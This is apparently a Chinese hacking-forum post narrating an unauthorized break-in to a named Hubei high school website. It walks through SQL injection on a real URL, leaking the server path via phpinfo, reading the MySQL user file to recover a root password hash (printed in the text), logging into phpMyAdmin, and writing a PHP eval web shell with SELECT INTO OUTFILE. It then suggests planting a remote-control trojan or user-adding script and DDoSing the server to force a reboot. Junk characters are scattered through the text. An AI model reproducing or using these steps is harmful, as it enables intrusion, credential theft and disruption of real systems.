友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
  {: z7 s  d1 m: l! |发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！


. \' g) M5 G/ M3 a# E/ h& Q
; W8 K% d; S/ V% g- C常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
3 o, C: L8 M" a5 }3 I4 N9 [
/ f* G' d1 b3 K* J. [, s6 j/ ?那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
' z$ t8 ^& P# y( ~. f+ {
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
* e. W2 D, z& Z2./phpMyAdmin/phpinfo.php  
3./load_file()  
( n' m$ ^7 H# ^0 k' y$ Z4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
9 c( b7 R4 B4 S. E8 K5./phpmyadmin/libraries/select_lang.lib.php  
! g) t$ Q# [2 m- O$ B6./phpmyadmin/libraries/lect_lang.lib.php  
! T5 D# d# I! C$ G) A6 ^4 c7./phpmyadmin/libraries/mcrypt.lib.php   
0 d! l/ n* s8 ?/ {  q8./phpmyadmin/libraries/export/xls.php  

均不行...........................
6 j+ |/ \1 i, C
: k3 q% h1 u: ]7 L9 _御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
/ z* |, ]2 Y$ Z' j$ n
, o3 p# \% }( l/ S; R6 i+ {权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
2 e' a$ D" K9 M% o1 c- g
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
' i* U& h) X" |, M
# |6 o4 |# e+ \5 G) J想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
7 x( G8 G( S8 p0 L9 c& S
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
9 d  {2 O) Q1 _; W! l6 k, D3 |
0 V& H* e7 W- {0 n0 w( ?自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

- l% o# i0 W) `$ }/ ~& u$ ~6 `成功读到root密码：
3 L' o1 W  K: M2 j; p  s4 k: e: o9 j
17---- r(0072)
18---- o(006f)
19---- o(006f)
0 r! u' I/ y0 W- F3 Q20---- t(0074)
* |; t) L7 k8 E; @21---- *(002a)
" o5 l5 Q- _* Z6 J' R22---- 8(0038)
, h( p+ M& q, `: E23---- 2(0032)
: b1 Q3 v2 W  l7 i3 r24---- E(0045)
. \4 @- {+ s1 I25---- 1(0031)
9 p. [  b6 j8 y' o) D9 ~26---- C(0043)
27---- 5(0035)
! W" @5 A' a9 ^/ L- e) o( C% [4 x28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
31---- A(0041)
+ R$ v" s+ i' l1 o+ J/ f32---- 9(0039)
33---- B(0042)
34---- 5(0035)
35---- 4(0034)
! X8 p* L8 `6 _. O* v36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
, |& z9 X  f' M- r- g% T39---- 9(0039)
/ v- Y/ K3 i. I& {/ h40---- 1(0031)
# l# `8 N4 n3 t, l6 o0 H41---- 1(0031)
42---- 5(0035)
/ S' h$ P% w6 [) |# |8 c8 I43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
6 H" G/ ]6 P  Z) P" }47---- F(0046)
4 n; s2 C% U# {" K; e: n/ Z48---- F(0046)
! q  Z5 \; w- f  a: i0 j49---- 4(0034)
& t- q5 k7 t3 Z: b. \4 k  ^50---- F(0046)
" n7 j& p- y1 T( Y' ?' ]51---- 0(0030)
52---- 3(0033)
6 K) m$ q6 E$ c2 Y: q( N. t53---- 2(0032)
$ ^5 |! w9 B  H; X# t& w54---- A(0041)
6 w% E1 p, ~; D* ]( }( I1 H55---- 4(0034)
0 F, h5 o/ k; k. _7 U56---- A(0041)
1 m% q9 \' J- U57---- B(0042)
58---- *(0044)
59---- *(0035)
; k0 {5 M! f8 `: h6 F% X% k4 m60---- *(0041)
61---- *0032)

, l7 l0 A, H& r6 y  {1 t  _解密后成功登陆phpmyamin
                          

                             
! `6 }" O9 e3 J5 A
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
* Y( ^8 x4 L/ l6 ?
8 Q# j2 E! [& H( G成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................
, h9 j4 w, ~/ R* i2 D
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

# R1 [& t( J5 |

别名     administrators
% j8 ]1 l4 m9 d5 _) D注释     管理员对计算机/域有不受限制的完全访问权

8 D2 r# ^0 J& l+ x

成员

" s6 X3 k6 j  u; J; P1 U2 X* h

-------------------------------------------------------------------------------
8 S; m* n) J4 |1 O4 Fadmin
7 Y4 x6 A3 _0 p3 D2 G1 j. B- TAdministrator
slipper$
. N& e8 z9 \; a2 J  Hsqluser
命令成功完成。
* Z3 j. v: z, g* s5 X" t
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
2 K" q/ D0 o1 x/ X
ddos服务器重启，不然就只能坐等服务器重启了...............................

      

, e  f" }4 ]6 c

angel